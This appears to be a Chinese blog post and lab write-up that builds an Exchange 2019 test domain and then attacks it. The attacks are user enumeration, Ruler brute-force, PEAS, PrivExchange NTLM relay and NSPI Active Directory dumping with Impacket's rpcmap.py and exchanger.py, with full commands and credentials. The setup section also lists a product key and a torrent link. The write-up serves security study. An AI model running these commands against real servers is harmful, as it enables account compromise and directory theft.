国外渗透测试专家 Arseniy Sharoglazov 在 Attacking MS Exchange Web Interfaces 一文中描述了一种新的攻击 ms exchange 的方法,于是搭建本地测试环境进行研究,学习下 NSPI 攻击 Exchange 的原理
0x01 测试环境搭建
1. 系统与应用下载
cn_windows_server_2019_updated_jan_2020_x64_dvd_4bbe2c37,download link
SHA1:c27d4f4721433d249ca592c13bd265e864629934
密钥:N69G4-B89J2-4G8F4-WWYCC-J464C
mu_exchange_server_2019_x64_dvd_5fa4d915,https://ibit.to/torrent/Exchange-2019-m9eGP44/
SHA1:75bcab31439eb206fdee58e754b4343c5620f231
MD5:63685ee5627878d890486d8803fbe501
2. 安装过程
.NET Framework 4.7.2(Windows Server 2019 已经安装)
http://go.microsoft.com/fwlink/?linkid=863265
Visual C++ Redistributable Packages for Visual Studio 2013
https://www.microsoft.com/en-us/download/details.aspx?id=40784
Unified Communications Managed API 4.0
https://www.microsoft.com/download/details.aspx?id=34992
重启
使用 windows PowerShell 运行
Install-WindowsFeature RSAT-ADDS
安装 server prerequisites
1 | Install-WindowsFeature NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, Web-Mgmt-Console, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS |
下面开始安装域控
在服务器管理器中选择添加角色和功能
一路 next 即可,来到选择服务器角色这里,选 Active Directory 域服务
又是一路 next,开始安装
安装完成关闭窗口,在回到服务器管理器中,将此服务器升级为域控制器
来到 AD 域服务配置向导
由于没有现有域和现有林,选择添加新林
没安装 DNS 会出现错误,可以直接下一步即可
安装路径、查看选项都是直接下一步,最后安装
安装完会注销并重启服务器,进入漫长的等待,然后登陆系统
把下载 exchange_server_2019 复制到 windows server 2019 中,并右键进行装载
进入 exchange 目录,执行以下命令进行准备
.\Setup.exe /PrepareSchema /IAcceptExchangeServerLicenseTerms
准备 Active Directory,执行下面命令,可以自定义 OrganizationName 组织名称,
.\Setup.exe /IAcceptExchangeServerLicenseTerms /PrepareAD /OrganizationName: "exchange"
准备域
.\Setup.exe /PrepareAllDomains /IAcceptExchangeServerLicenseTerms
这个时间久一些,准备域进度可能一直显示 0%
开始安装 Exchange Server 2019
双击 Setup 开始安装
一路 next,拷贝文件、初始化安装完成后使用推荐设置,然后如下图选择
接着再一路 next 直接进行下一步,最终安装并等待完成
0x02 攻击 Exchange
1. 获取 Exchange 用户列表和其他信息
先了解一下 Exchange 的 Autodiscover Publishing and Lookup Protocol (自动发现发布和查找协议,MS-OXDSCLI),这是客户端用来定位 Autodiscover HTTP 服务的,使用 xml 传输消息
使用官方手册 4.1 中的 Autodiscover 请求,修改目标用户 email,POST 请求访问服务器 url 路径:/autodiscover/autodiscover.xml
1 | POST /autodiscover/autodiscover.xml HTTP/1.1 |
EMailAddress 元素标识将为要检索配置信息的帐户的电子邮件地址,请求响应如下:
分析返回的 xml 中的信息
HTTP Response
Authenticated User’s SID 即所使用用户的 SID
xml body
Server 元素包含包含附加邮箱的邮件服务器的 FQDN(在Active Directory中,标识域的完全限定域名),下面还有个 OAB Url
OABUrl元素指定服务器的脱机地址簿(OAB)配置服务器URL,可以获得所有Exchange用户的地址列表,通过访问 <OABUrl> + /oab.xml
查看 oab.xml 文件
Exchange 默认会创建一些内置的地址列表,比如全局地址列表(GAL),其中含有所有邮箱用户,下面通过 libmspack 库中的oabextract 工具将其解压缩,然后查看用户数据,下载地址:https://www.cabextract.org.uk/libmspack/libmspack-0.10.1alpha.tar.gz,直接 ./configure && make && make install
编译安装,oabextract 位于 example 目录下
在 OAB Url 路径下下载数据 /OAB/b9cf522e-d93a-4f2d-b03f-c1df4a4fb4af/ee0772da-44b1-4110-8b00-70fc34c35cd7-data-1.lzx,解压提取
使用 ntmlscan 工具(https://github.com/nyxgeek/ntlmscan)扫描,可以根据所获的的信息进行 Password Spraying 攻击,这种攻击不同于传统暴力破解的地方在于这种攻击方法使用一个或几个密码(通常是弱密码)来尝试多个账户
2. 使用 Ruler
https://github.com/sensepost/ruler
ruler 是个知名度较高的 Exchange 利用工具,可以通过 MAPI/HTTP 或 RPC/HTTP 协议远程与 Exchang e服务器交互。其主要目的是滥用客户端 Outlook 特性并远程获取shell,进行信息收集和攻击。
爆破攻击
注意要使用正确的域名,否则会出现证书错误,直接修改本地 hosts 文件即可
./ruler-osx64 --domain WIN-QT7IQOG92O7.j0k3r.top brute --users user.txt --passwords pass.txt --delay 0 --verbose
3. 使用 PEAS
简单来说,PEAS 是一个可以通过 ActiveSync 协议连接到 Exchange 的工具
https://github.com/FSecureLABS/PEAS
Exchange ActiveSync 是一种 Exchange 同步协议,该协议已经过优化,可用于高延迟和低带宽网络。该协议基于 HTTP 和 XML,移动电话可以借助它访问运行 Microsoft Exchange 的服务器上的组织信息。
python2 安装: python setup.py install
列出共享文件
1 | python -m peas -u 'J0K3R\tester' -p 'Qwer1234' WIN-QT7IQOG92O7.j0k3r.top --list-unc '\\WIN-QT7IQOG92O7\' |
4. EWS订阅攻击
https://github.com/dirkjanm/PrivExchange
该攻击利用 Exchange Web Services (EWS) 来进行,EWS 是一种 Exchange API,用于提供对邮箱项的访问。EWS 的订阅操作允许用户设置一个 URL 来通过 HTTP 协议从 Exchange 获得回调,以接收推送通知,这种方式不支持与接收端进行交互,但可以用于盲 SSRF
2018 年,ZDI 研究团队发现 Exchange 通过 NTLM 或 Kerberos 对指定的 URL 进行身份验证,这可以用于 NTLM 对Exchange 本身的中继攻击。
在 Windows 上,很多应用层协议使用 NTLM 进行身份认证,而 NTLM 中继攻击,就是指攻击者在 NTLM 交互认证过程中充当中间人,类似于中间人攻击,在请求认证的客户端与服务端之间传递信息,获取客户端的 Net-NTLM 哈希并将其重放认证目标方,这样无需破解用户名密码就可以获取权限。
比如将获取到的 Net-NTLM 哈希重放到真实的 Exchange 服务器的 EWS 接口进行认证,以此获取目标用户邮箱的邮件记录信息、邮件配置、GAL等信息。
使用 Dirk-jan Mollema 发布的 PrivExchange 工具使 Exchange 回连指定的地址,并进行身份验证
Exchange 的回连请求
Dirk-jan Mollema 的研究文章:Abusing Exchange: One API call away from Domain Admin
5. Office Web 插件攻击
该攻击通常由于持久化,使用插件获取目标邮件的持久访问权限
详情请参阅:https://www.mdsec.co.uk/2019/01/abusing-office-web-add-ins/
0x03 使用 NSPI 攻击 Exchange
RPC(Remote Procedure Call) over HTTP v2 工作原理
Exchange 通过私有的 MAPI 协议用于收取邮件,较新版本的 Outlook 通常使用 MAPI 与 Exchange 进行交互,除此之外早期的Outlook 还使用称为 Outlook Anywhere (RPC over HTTP) 的 RPC 交互
RPC over HTTP v2 必须在运行在 HTTP 或者 HTTPS 上,需要 HTTP 1.0 以及来自 HTTP 1.1 的连接保持活动支持。
下面使用 ruler 进行 RPC/HTTP 连接,Wireshark 抓取通信流量
1 | ./ruler-osx64 --rpc --email tester@j0k3r.top --username tester --password Qwer1234 --insecure --noencrypt --nocache homepage add --url "http://example.com/" |
从 HTTP 流中可以看出,RPC_IN_DATA 开头的表示 IN channel 请求,与之对应的 RPC_OUT_DATA 表示 OUT channel 请求,访问 URL 路径是 /rpc/rpcproxy.dll,这是 rpc 代理的一部分,代理与客户端和服务器的关系如下图
HTTP v2上的RPC工作在更复杂的拓扑结构中,定义了客户端、服务器和入站代理与出站代理。没有固定的角色。根据协议充当入站或出站代理,在发布的 [MS-RPCH]: Remote Procedure Call over HTTP Protocol 开放规范文档中有详细的描述
HTTP协议上的远程过程调用(RPC over HTTP)其实是 RPC 和 HTTP 之间的中间协议
用于通过 HTTP 进行 RPC 的协议序列称为 ncacn_http,Exchange 服务器在端口 593、6001、6002 和 6004 上侦听 ncacn_http 请求。RPC over HTTPS 服务的端口通常是 593
根据上面的开放规范,客户端须使用 RPC 代理来连接 ncacn_http 服务,所以可以模拟 RPC 代理直接连接到 ncacn_http
获取 RPC 服务器名
这里先看下 [MS-RPCH] 规范文档中对请求 URL 的描述
abs-path 有如下规定:
1 | nocert-path = "/rpc/rpcproxy.dll" |
而后面对于 query 中对主机名的描述如下
而实际使用的是 autodiscover 中出现的那个在 Server 元素中的值,即邮件服务器的 FQDN(fully qualified domain name)
使用 nmap 脚本http-ntlm-info 枚举启用了 NTLM 身份验证的来自远程 HTTP 服务的信息,获取目标NetBIOS名称
获取工具,这个是 ptswarm 版本的 Impacket
1 | git clone https://github.com/ptswarm/impacket |
使用 rpcmap.py 工具连接 ncacn_http
1 | python3 impacket/examples/rpcmap.py -debug -auth-transport 'J0K3R/tester:Qwer1234' 'ncacn_http:[6001,RpcProxy=WIN-QT7IQOG92O7.j0k3r.top:443]' |
使用 wireshark 抓取通信流量,此时最好将 443 改为 80,不然抓的是经 TLS 加密的流量
Exchange 2003/2007/2010 通过 rpcproxy.dll 获取连接,而 Exchange 2013/2016/2019 还有一个 RpcProxyShim.dll,RpcProxyShim.dll 会 hook RpcProxy.dll 回调并处理 Exchange GUID 身份。还支持NetBIOS名称,以实现向后兼容。
RpcProxyShim.dll允 许跳过 RPC 级别的身份验证,并且可以将流量直接转发到 Exchange 进程以获取更快的连接。
更多详情可以参阅:https://github.com/ptswarm/impacket/blob/master/impacket/dcerpc/v5/rpch.py#L476
扫描 RPC over HTTPv2 服务
用 rpcmap.py 工具扫描 MSRPC 接口,通过 -brute-opnums 选项依次调用每个 UUID(用于标记 RPC 对象)分配的操作号的前 N 个,并输出结果,获取 Exchange 2019 可以访问的服务
opnums 一个操作号或数字标识符,用于标识特定的远程过程调用(RPC)方法或接口中的方法。
1 | python3 impacket/examples/rpcmap.py -debug -auth-transport 'J0K3R/tester:Qwer1234' -auth-rpc 'J0K3R/tester:Qwer1234' -auth-level 6 -brute-opnums 'ncacn_http:[6001,RpcProxy=WIN-QT7IQOG92O7.j0k3r.top:443]' |
该工具的原理其实就是利用 RPC 的 rpc_mgmt_inq_if_ids (有关文档:RpcMgmtInqIfIds function,rpc_mgmt_inq_if_ids)方法返回服务器提供的接口的接口标识符的向量,这个向量列出了服务器在 RPC 运行时系统中注册的接口,然后针对接口遍历 64 个 Opnum 对应的操作进行调用,根据返回的数据判断操作结果,最终获取能够使用的接口和方法
根据以上输出,所有 Opnum 执行结果都是 access_denied 的协议则不可用,而 rpcmap.py 使用的是 MS-RPCE 协议,剩余通过 Exchange 的 RPC over HTTP v2 可用的协议如下:
协议 | UUID | 描述 |
---|---|---|
MS‑OXCRPC | A4F1DB00-CA47-1067-B31F-00DD010662DA v0.81 | 有线格式协议EMSMDB接口 |
MS‑OXCRPC | 5261574A-4572-206E-B268-6B199213B4E4 v0.1 | 有线格式协议AsyncEMSMDB接口 |
MS‑OXABREF | 1544F5E0-613C-11D1-93DF-00C04FD7BD09 v1.0 | 通讯簿名称服务提供商接口(NSPI)推荐协议 |
MS‑OXNSPI | F5CC5A18-4264-101A-8C59-08002B2F8426 v56.0 | Exchange服务器名称服务提供程序接口(NSPI)协议 |
MS‑OXNSPI 与 MS-NSPI 相似,且 UUID 一致
MS-OXCRPC是 Ruler 用来向 Exchange 发送 MAPI 消息的协议,而 MS-OXABREF 和 MS-OXNSPI 是两个新的可用协议。
分析 MS-OXABREF 与 MS-OXNSPI
MS-OXNSPI:Exchange Server Name Service Provider Interface (NSPI) Protocol,Exchange 服务器名称服务提供程序接口(NSPI)协议
MS-OXABREF:Address Book Name Service Provider Interface (NSPI) Referral Protocol,通讯簿名称服务提供程序接口(NSPI)Referral 协议
看下官方文档中的 NSPI 的 NspiDNToMId (Opnum 7) 方法描述
将一组 DNs 映射到一组 Minimal Entry ID(用于唯一标识地址簿对象),这里的 DNs 是指 Legacy DNs,在前面的 Autodiscover 中有
使用其 Legacy DN 请求用户的信息,通过 MS-OXNSPI 连接到 Exchange 并执行 NspiDNToMId 操作
通过获取的临时标识符请求所有对象的属性
MIDs 和 Legacy DNs 的格式
上文提到了 DNs,还有一个 Minimal Entry ID,用来标识地址簿的,文档中没有公开算法,下面使用 MS-OXNSPI 的 NspiGetSpecialTable(Opnum 12)来获取地址簿,方法详情可参阅文档 https://interoperability.blob.core.windows.net/files/MS-OXNSPI/%5bMS-OXNSPI%5d.pdf 第 40 页
其中 PidTagAddressBookContainerId 的值为地址簿的 Minimal Entry ID(根据文档 PidTagAddressBookContainerId),而且是从 -16 往下递减的
转为无符号整数来看就是从 0xfffffff0 开始递减
1 | >>> hex(-16 & 0xffffffff) |
上图中形如 /guid=D7D867F86D0E2746AD85547FB24BC918
的 PidTagEntryId 表示一个新的 Legacy DN 格式,2.2.3.2 PidTagEntryId,用这个新格式可以请求 Active Directory 对象
目前可以通过 GUID 或者 MID 来获取 Active Directory 对象信息,那如何获取所有 Active Directory 对象的 GUID 或者 MID 呢?
MIDs(Minimal Entry ID)的其它格式
Exchange 使用 LDAP 和 MS-NSPI 协议连接到 DC 以访问 Active Directory 数据库, 且 MS-NSPI 又是一种和 MS-OXNSPI 相似的 MSRPC 协议,方法基本相同,所以 MS-NSPI 是除了 LDAP 和 MS-DRSR(或 DcSync 和 DRSUAPI)之外第三个能访问 Active Directory 数据库的协议
通过 MS-NSPI 连接到域控制器
获取地址簿列表
在上文中也提到了,PidTagAddressBookContainerId 表示的就是 MId(Minimal Entry ID),不同的是,域控制器上的一个 MId 表示一个 DNT 对象,Distinguished Name Tags (DNTs) 是域控制器 NTDS.dit 数据库内部对象的 4 字节整形索引
但是通过使用 NspiUpdateStat 方法可以将指定的地址簿 ContainerID(Exchange MID)转换为域控的 MID,即返回信息中的的 CurrentRec 字段值,详情可参阅文档 https://interoperability.blob.core.windows.net/files/MS-OXNSPI/%5bMS-OXNSPI%5d.pdf 第 42 页
如下所示,不过这里的 MID 好像不太正常
使用 exchanger.py
工具位于 impacket/examples 目录下,主要通过 MS-NSPI 实现实现攻击,
列出地址簿获取所有地址列表
1 | python3 impacket/examples/exchanger.py J0K3R/tester:'Qwer1234'@j0k3r.top nspi list-tables -count |
该功能其实就是利用 NSPI 的 NspiGetSpecialTable 方法,-debug 选项中能看到 MID
获取指定地址簿的数据
1 | python3 impacket/examples/exchanger.py J0K3R/tester:'Qwer1234'@j0k3r.top nspi dump-tables -name 所有用户 -lookup-type EXTENDED |
该部分则是在 NspiGetSpecialTable 获取地址簿层次表的基础上查询指定地址簿的数据,通过 update_stat 函数,再利用 NSPI 的 NspiUpdateStat 方法根据 MID 更新在指定表中的位置
然后利用 NspiQueryRows 方法返回关于表中一组行的信息
最终将信息格式化输出
已知 GUID 攻击
通过 GUID/GUIDs 获取 Active Directory对象,比如获取 tester2 用户的所有信息
1 | python3 impacket/examples/exchanger.py J0K3R/tester:'Qwer1234'@j0k3r.top nspi guid-known -guid 4d4a3ddd-86a0-471c-b31e-c655342f1999 -lookup-type FULL |
该部分主要是通过 NspiResolveNamesW 方法通过模糊名称解析 (ANR) 这种搜索算法来查询对象
我们输入的 guid 将会被转为 /guid 的 legacyDN 形式,比如所有用户地址簿的Guid:82621831-97cf-4085-ac72-acdaf3e47488 转换后为 PidTagEntryId: /guid=31186282CF978540AC72ACDAF3E47488,在 NspiGetSpecialTable 中可以直接获取
最后 print_row 输出对象信息
专有名称标签查找(Distinguished Name Tags,DNTs)
可以通过 DNT 查找指定范围内的所有 Active Directory 中的记录
我们可以在域控主机上通过 LDP 查看一下 DNT,运行输入 LDP.exe 打开程序,点击左上角连接,选择连接到本地,再进行绑定,可以使用当前管理账户
确定绑定之后,进入浏览 —> 修改,添加属性 dumpdatabase,值如果没有特殊要求的话可以写随便写个 name,没有值会抛出参数错误
填好值,点击输入,然后运行,在 C:\Windows\NTDS 目录下会生成一个 ntds.dmp,可以使用 notepad 打开,其默认就包含了 DNT 等字段信息
还能够看到 Administrator 等用户
使用 exchanger.py 查看有关信息
1 | python3 impacket/examples/exchanger.py J0K3R/tester:'Qwer1234'@j0k3r.top nspi dnt-lookup -lookup-type EXTENDED -start-dnt 3802 -stop-dnt 3805 |
因为在域控制器中 DNT 代表 MId,这里输入指定的 DNT 范围,传入 NspiQueryRows 的参数为 lpETable,lpETable 表示一个 MId 列表,见 3.1.4.8 NspiQueryRows (Opnum 3)
最后打印输出对象信息
Reference:
https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
https://xpertstec.com/step-by-step-installation-of-exchange-server-2019/